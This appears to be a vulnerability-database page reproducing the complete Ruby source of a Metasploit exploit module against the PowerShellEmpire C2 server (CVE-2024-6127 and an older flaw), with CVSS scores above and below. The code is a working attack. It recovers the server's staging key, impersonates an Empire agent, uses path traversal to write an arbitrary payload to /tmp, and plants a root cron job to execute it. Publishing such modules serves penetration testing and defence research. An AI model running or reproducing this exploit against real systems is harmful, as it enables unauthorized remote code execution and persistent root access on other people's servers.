Lucene search

K
metasploitSpencer McIntyre, Erik Daguerre, ACE-Responder, Takahiro YokoyamaMSF:EXPLOIT-LINUX-HTTP-EMPIRE_SKYWALKER-
HistoryOct 17, 2016 - 2:31 p.m.

PowerShellEmpire Arbitrary File Upload (Skywalker)

2016-10-1714:31:39
Spencer McIntyre, Erik Daguerre, ACE-Responder, Takahiro Yokoyama
www.rapid7.com
26

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.2

Confidence

Low

A vulnerability existed in the new Empire (maintained by BC Security) prior to commit e73e883 ( Author(s) Spencer McIntyre Erik Daguerre ACE-Responder Takahiro Yokoyama Platform Linux,Python

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  GENERATOR = 2
  PRIME = '0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A087'\
  '98E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5C'\
  'B6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163'\
  'FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C3290'\
  '5E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D'\
  '2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3'\
  '970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A645'\
  '21F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A9210801'\
  '1A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF'\
  '92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD76217048'\
  '1CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB260264'\
  '6DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B'\
  '14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D17'\
  '21D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF'\
  '585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8'\
  'A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E'\
  '6DCC4024FFFFFFFFFFFFFFFF'.to_i(16)
  STAGE0 = 1
  STAGE1 = 2
  STAGE2 = 3
  RESULT_POST = 5
  TASK_DOWNLOAD = 41

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',
        'Description' => %q{
          A vulnerability existed in the new Empire (maintained by BC Security)
          prior to commit e73e883 (<v5.9.3) or the original PowerShellEmpire
          server prior to commit f030cf62 which would allow an arbitrary file
          to be written to an attacker controlled location with the permissions
          of the Empire server.

          This exploit will write the payload to /tmp/ directory followed by a
          cron.d file to execute the payload.
        },
        'Author' => [
          'Spencer McIntyre', # Vulnerability discovery & original Metasploit module
          'Erik Daguerre',    # Original Metasploit module
          'ACE-Responder',    # Patch bypass discovery & Python PoC
          'Takahiro Yokoyama' # Update Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-6127'], # patch bypass
          ['URL', 'https://blog.harmj0y.net/empire/empire-fails/'], # original http://www.harmj0y.net/blog/empire/empire-fails/ is not found.
          ['URL', 'https://aceresponder.com/blog/exploiting-empire-c2-framework'], # patch bypass
          ['URL', 'https://github.com/ACE-Responder/Empire-C2-RCE-PoC/tree/main'] # patch bypass
        ],
        'Payload' => {
          'DisableNops' => true
        },
        'Platform' => %w[linux python],
        'Targets' => [
          [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
        ],
        'DefaultOptions' => { 'WfsDelay' => 75 },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2016-10-15',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        # original
        OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]),
        OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]),
        OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]),
        OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ]),
        # patch bypass
        OptEnum.new('CVE', [true, 'The vulnerability to use', 'CVE-2024-6127', ['CVE-2024-6127', 'Original']]),
        OptString.new('STAGE_PATH', [ true, 'The Empire\'s staging path, default is login/process.php', 'login/process.php' ]),
        OptString.new('AGENT', [ true, 'The Empire\'s communication profile agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'])
      ]
    )
  end

  def check
    @staging_key = get_staging_key
    return Exploit::CheckCode::Safe if @staging_key.nil?

    Exploit::CheckCode::Appears
  end

  def aes_encrypt(key, data, include_mac: false)
    cipher = OpenSSL::Cipher.new('aes-256-cbc')
    cipher.encrypt
    iv = cipher.random_iv
    cipher.key = key
    cipher.iv = iv
    data = iv + cipher.update(data) + cipher.final

    digest = OpenSSL::Digest.new('sha1')
    data << OpenSSL::HMAC.digest(digest, key, data) if include_mac

    data
  end

  def create_packet(res_id, data, counter = nil)
    data = Rex::Text.encode_base64(data)
    counter = Time.new.to_i if counter.nil?

    [ res_id, counter, data.length ].pack('VVV') + data
  end

  def reversal_key
    # reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)
    [
      [ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d],
      [ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29],
      [ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a],
      [ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24]
    ]
  end

  def rsa_encode_int(value)
    encoded = []
    while value > 0
      encoded << (value & 0xff)
      value >>= 8
    end

    Rex::Text.encode_base64(encoded.reverse.pack('C*'))
  end

  def rsa_key_to_xml(rsa_key)
    rsa_key_xml = "<RSAKeyValue>\n"
    rsa_key_xml << "  <Exponent>#{rsa_encode_int(rsa_key.e.to_i)}</Exponent>\n"
    rsa_key_xml << "  <Modulus>#{rsa_encode_int(rsa_key.n.to_i)}</Modulus>\n"
    rsa_key_xml << '</RSAKeyValue>'

    rsa_key_xml
  end

  def get_staging_key
    # patch bypass
    if datastore['CVE'] == 'CVE-2024-6127'
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'download/python/')
      })
      return unless res && res.code == 200

      match = /IV\+'(.*)'\.encode/.match(res.body)
      return match[1].bytes if match

      return
    end

    # STAGE0_URI resource requested by the initial launcher
    # The default STAGE0_URI resource is index.asp
    # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
    })
    return unless res && res.code == 200

    @staging_key = Array.new(32, nil)
    staging_data = res.body.bytes

    reversal_key.each_with_index do |(pos, char_code), key_pos|
      @staging_key[key_pos] = staging_data[pos] ^ char_code
    end

    return if @staging_key.include? nil

    # at this point the staging key should have been fully recovered but
    # we'll verify it by attempting to decrypt the header of the stage
    decrypted = []
    staging_data[0..23].each_with_index do |byte, pos|
      decrypted << (byte ^ @staging_key[pos])
    end
    return unless decrypted.pack('C*').downcase == 'function start-negotiate'

    @staging_key
  end

  def write_file(path, data, session_id, session_key, server_epoch)
    if datastore['CVE'] == 'CVE-2024-6127'
      write_file_cve_2024_6127(path, data, session_id, session_key)
      return
    end

    # target_url.path default traffic profile for empire agent communication
    # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
    data = create_packet(
      TASK_DOWNLOAD,
      [
        '0',
        session_id + path,
        Rex::Text.encode_base64(data)
      ].join('|'),
      server_epoch
    )

    if datastore['PROFILE'].blank?
      profile_uri = normalize_uri(target_uri.path, %w[admin/get.php news.asp login/process.jsp].sample)
    else
      profile_uri = normalize_uri(target_uri.path, datastore['PROFILE'])
    end

    res = send_request_cgi({
      'cookie' => "SESSIONID=#{session_id}",
      'data' => aes_encrypt(session_key, data, include_mac: true),
      'method' => 'POST',
      'uri' => normalize_uri(profile_uri)
    })
    fail_with(Failure::Unknown, 'Failed to write file') unless res && res.code == 200

    res
  end

  def cron_file(command)
    cron_file = 'SHELL=/bin/sh'
    cron_file << "\n"
    cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
    cron_file << "\n"
    cron_file << "* * * * * root #{command}"
    cron_file << "\n"

    cron_file
  end

  def exploit
    vprint_status('Recovering the staging key...')
    @staging_key ||= get_staging_key
    if @staging_key.nil?
      fail_with(Failure::Unknown, 'Failed to recover the staging key')
    end
    vprint_good("Successfully recovered the staging key: #{@staging_key.map { |b| b.to_s(16) }.join(':')}")
    @staging_key = @staging_key.pack('C*')

    case datastore['CVE']
    when 'CVE-2024-6127'
      # stage0
      # This stage is unnecessary for our purposes.
      session_id = SecureRandom.alphanumeric(8).upcase
      dummy = SecureRandom.alphanumeric(8)
      send_data_to_stage(@staging_key, dummy, STAGE0, session_id)

      # stage1
      dh = OpenSSL::PKey::DH.new(
        OpenSSL::ASN1::Sequence([
          OpenSSL::ASN1::Integer(PRIME),
          OpenSSL::ASN1::Integer(GENERATOR)
        ]).to_der
      )
      if OpenSSL::PKey.respond_to?(:generate_key)
        dh = OpenSSL::PKey.generate_key(dh)
      else
        dh.generate_key!
      end
      private_key = dh.priv_key.to_i
      public_key = dh.pub_key.to_s
      res = send_data_to_stage(@staging_key, public_key, STAGE1, session_id)
      fail_with(Failure::Unknown, 'Failed to send the key to STAGE1') unless res && res.code == 200
      vprint_good('Successfully sent the key to STAGE1')

      # decrypt the response and pull out the epoch and session_key
      packet = aes_decrypt(@staging_key, res.body)
      nonce = packet[..15].to_i
      server_pub = packet[16..].to_i
      shared_secret = server_pub.pow(private_key, PRIME)
      # https://github.com/BC-SECURITY/Empire/blob/8aca42747da6cf2b0def7edede94586f6b3258e8/empire/server/common/encryption.py#L373
      # _sharedSecretBytes = self.sharedSecret.to_bytes(
      #   len(bin(self.sharedSecret)) - 2 // 8 + 1, byteorder="big"
      # )
      # 2(0b) + 1(- 2 // 8 + 1) = 3
      shared_secret = to_bytes(shared_secret, shared_secret.to_s(2).length + 3)
      sha = OpenSSL::Digest.new('sha256')
      sha.update(shared_secret)
      session_key = sha.digest
      print_good('Successfully negotiated an artificial Empire agent')

      # stage2
      sysinfo = "#{nonce + 1}|#{datastore['RHOSTS']}:#{datastore['RPORT']}||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64".encode('UTF-8')
      res = send_data_to_stage(session_key, sysinfo, STAGE2, session_id)
      fail_with(Failure::Unknown, 'Failed to communicate with STAGE2') unless res && res.code == 200
      aes_decrypt(session_key, res.body)

      server_epoch = nil
      log_path = "/var/lib/powershell-empire/empire/server/downloads/#{session_id}/agent.log"

    else
      rsa_key = OpenSSL::PKey::RSA.new(2048)
      session_id = Array.new(50, '..').join('/')
      # STAGE1_URI, The resource used by the RSA key post
      # The default STAGE1_URI resource is index.jsp
      # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
      res = send_request_cgi({
        'cookie' => "SESSIONID=#{session_id}",
        'data' => aes_encrypt(@staging_key, rsa_key_to_xml(rsa_key)),
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
      })
      fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res && res.code == 200
      vprint_good('Successfully sent the RSA key')

      # decrypt the response and pull out the epoch and session_key
      body = rsa_key.private_decrypt(res.body)
      server_epoch = body[0..9].to_i
      session_key = body[10..]
      print_good('Successfully negotiated an artificial Empire agent')

      log_path = '/agent.log'

    end

    payload_data = nil
    payload_path = '/tmp/' + rand_text_alpha(8)

    case target['Arch']
    when ARCH_PYTHON
      cron_command = "python #{payload_path}"
      payload_data = payload.raw

    when ARCH_X86, ARCH_X64
      cron_command = "chmod +x #{payload_path} && #{payload_path}"
      payload_data = payload.encoded_exe

    end

    print_status("Writing payload to #{payload_path}")
    write_file(payload_path, payload_data, session_id, session_key, server_epoch)

    cron_path = '/etc/cron.d/' + rand_text_alpha(8)
    print_status("Writing cron job to #{cron_path}")

    write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)
    print_status('Waiting for cron job to run, can take up to 60 seconds')

    register_files_for_cleanup(cron_path)
    register_files_for_cleanup(payload_path)
    # Empire writes to a log file location based on the Session ID, so when
    # exploiting this vulnerability that file ends up in the root directory.
    register_files_for_cleanup(log_path)
  end

  def build_routing_packet(meta = 0, enc_data = ''.b, session_id = '00000000')
    data = session_id + [2, meta, 0, enc_data.bytes.length].pack('C2SL')
    rc4_iv = SecureRandom.random_bytes(4)
    key = rc4_iv + @staging_key
    rc4_enc_data = Rex::Crypto.rc4(key, data)
    rc4_iv + rc4_enc_data + enc_data
  end

  def aes_encrypt_then_hmac(key, data)
    data = aes_encrypt(key, data)
    mac = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), key, data)
    data + mac[..9]
  end

  def aes_decrypt(key, data)
    mac = data[-10..]
    sha256_digest = OpenSSL::Digest.new('sha256')
    expected = OpenSSL::HMAC.digest(sha256_digest, key, data[..-11])[..9]
    unless OpenSSL::HMAC.digest(sha256_digest, key, mac) == OpenSSL::HMAC.digest(sha256_digest, key, expected)
      raise 'Invalid ciphertext received.'
    end

    size = key.length * 8
    fail_with(Failure::Unknown, 'AES key width must be 128 or 256 bits') unless size == 128 || size == 256

    # Create the required cipher instance
    aes = OpenSSL::Cipher.new("AES-#{size}-CBC")
    # Generate a truly random IV

    # set up the encryption
    aes.decrypt
    aes.key = key
    aes.iv = data[..15]

    # decrypt!
    aes.update(data[16..-11]) + aes.final
  end

  def compress(data)
    start_crc32 = Zlib.crc32(data) & 0xFFFFFFFF
    comp_data = Zlib::Deflate.deflate(data)
    Base64.strict_encode64([start_crc32].pack('N') + comp_data)
  end

  def build_response_packet(tasking_id, packet_data)
    packet_type = [tasking_id].pack('S')
    total_packet = [1].pack('S')
    packet_num = [1].pack('S')
    result_id = [1].pack('S')
    packet_data = Base64.strict_encode64(packet_data)
    if packet_data.length % 4 != 0
      packet_data += '=' * (4 - packet_data.length % 4)
    end
    length = [packet_data.length].pack('L')
    packet_type + total_packet + packet_num + result_id + length + packet_data
  end

  def to_bytes(num, length = 1, little_endian: false)
    order = little_endian ? (0...length) : (0...length).to_a.reverse
    bytes_array = order.map { |i| (num >> i * 8) & 0xff }
    bytes_array.pack('C*')
  end

  def write_file_cve_2024_6127(path, data, session_id, session_key)
    path = path.split('/').join('\\')
    packet = build_response_packet(
      TASK_DOWNLOAD,
      [
        '0',
        Array.new(50, '..').join('\\') + path,
        data.length.to_s,
        compress(data)
      ].join('|')
    )
    send_data_to_stage(session_key, packet, RESULT_POST, session_id)
  end

  def send_data_to_stage(session_key, packet, task_id, session_id)
    enc_packet = aes_encrypt_then_hmac(session_key, packet)
    data = build_routing_packet(task_id, enc_packet, session_id)
    res = send_request_cgi({
      'data' => data,
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, datastore['STAGE_PATH']),
      'headers' => { 'Cookie' => datastore['AGENT'] }
    })
    res
  end

end

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.2

Confidence

Low

Related for MSF:EXPLOIT-LINUX-HTTP-EMPIRE_SKYWALKER-